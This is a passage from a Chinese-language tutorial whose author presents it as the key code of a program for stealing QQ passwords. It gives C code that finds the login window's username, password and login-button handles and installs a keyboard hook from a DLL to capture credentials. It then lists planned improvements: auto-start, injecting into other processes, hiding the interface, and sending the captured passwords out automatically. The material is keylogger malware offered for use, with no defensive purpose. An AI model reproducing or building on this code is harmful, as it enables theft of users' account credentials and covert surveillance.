(六) 申明导出函数 (七) 安装钩子 上面只是提供了一个安装钩子的函数,还没有真正进行安装,接下来才是真正开始安装钩子。 //用户名、密码、登陆按钮的句柄都不为空时安装钩子 if(hUserName != NULL && hUserPwd != NULL && hLoginButton != NULL) { //得到DLL模块的句柄 hDll = GetModuleHandle("QQHook.dll"); if(hDll == NULL) { return FALSE; } //安装键盘钩子 bKeyBoardHook = SetKeyBoardHook( TRUE, hDll, hLoginWindow, hUserName, hUserPwd, hLoginButton, dwCreateWindowProcessID); if(bKeyBoardHook == FALSE) { printf("调用键盘钩子失败!"); return FALSE; } } 以上就是盗QQ程序的关键代码了,打开QQ登陆框,然后运行主程序QQSpy.exe,接下来输用户名和密码并回车,即会弹出窗口显示用户名和密码。本程序还可以进行如下改进: 1. 改进记录密码的代码。 2. 加入对鼠标点击“登录QQ”进行HOOK的代码。 3. 设置成自动启动。 4. 注入到别的进程中。 5. 运行的时候没有界面,记录下来后自动发送密码。 由于本人初学c/c++不久,所以写这个程序的时候感觉很吃力,幸好我的朋友们在我有困难的时候总能给我或多或少的帮助,在此要感谢他们,特别要感谢兰陵笑笑生给我提供思路。
|